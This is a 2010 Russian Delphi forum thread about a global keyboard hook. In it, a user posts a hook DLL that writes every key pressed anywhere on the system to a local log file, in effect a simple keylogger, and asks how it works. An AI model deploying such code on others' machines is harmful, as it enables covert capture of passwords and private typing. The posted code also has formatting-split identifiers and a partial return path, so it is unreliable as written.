Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 02.08.2010, 21:17   #1
Federal
Пользователь
 
Регистрация: 21.05.2010
Сообщений: 77
По умолчанию Global Hook (CharToByte)

Вот полдня гугл шарю не могу найти библиотеку или материал по реализации для глобального хука чтоб вместо 'S F G H J K L' писались коды '54 55 56 57 58 59'...
Federal вне форума Ответить с цитированием
Старый 02.08.2010, 21:23   #2
evg_m
Старожил
 
Регистрация: 20.04.2008
Сообщений: 5,527
По умолчанию

format('%x',[ord('S')])

inttohex(ord('F'))
программа — запись алгоритма на языке понятном транслятору
evg_m вне форума Ответить с цитированием
Старый 02.08.2010, 21:53   #3
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

CharToByte=ord
я думаю вам нужны ScanCodes
это перехват сообщения WM_KEYDOWN/UP
(один из параметров нужный вам, но присмотритесь и ко второму может и там что нужное имеется)
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 02.08.2010, 22:10   #4
Federal
Пользователь
 
Регистрация: 21.05.2010
Сообщений: 77
По умолчанию

Вот она глобал библиотека. И честно говоря я механизм её так и не разобрал(
Каким образом KEY присваивается значение нажатой клавиши?
Чё вообще там происходит???

Меня смущает эта строка GetKeyNameText(lParam,key,SizeOf(ke y));
ведь это она преобразовывает Key в символ
Цитата:
Messages,
Sysutils;

var
myHook: HHook = 0;

function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var
f: text;
key: array [0..16] of Char;
begin
if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
begin
Assign(f,'D:\log.txt');
if FileExists('D:\log.txt') then
Append(f) else Rewrite(f);
GetKeyNameText(lParam,key,SizeOf(ke y));
Writeln(f,key);
CloseFile(f);
result:=CallNextHookEx(myHook,Code, wParam,lParam);
end;
end;

procedure setHook(Hook: boolean) export; stdcall;
begin
if Hook then
begin
if myHook=0 then
myHook:=SetWindowsHookEx(WH_KEYBOAR D,@MsgProc,HInstance,0);
end
else
begin
if myHook<>0 then
UnHookWindowsHookEx(myHook);
myHook:=0;
end;
end;

exports setHook name 'SetHook';

begin
end.
Federal вне форума Ответить с цитированием
Старый 02.08.2010, 22:54   #5
GunSmoker
Старожил
 
Регистрация: 13.08.2009
Сообщений: 2,581
По умолчанию

Чем она вас смущает?
Опытный программист на C++ легко решает любые не существующие в Паскале проблемы.
GunSmoker вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Класс Global, Global.asax cw_o Общие вопросы .NET 0 23.07.2010 09:21
HOOK zumm Общие вопросы Delphi 2 29.03.2010 20:21
Statement Global blutang Microsoft Office Excel 4 07.02.2009 12:33
Global Hook - движение окон BOBAH13 Общие вопросы Delphi 5 16.09.2008 11:59
Что делать..:(((много читать)Global problem! Elm0 Свободное общение 24 28.06.2007 18:13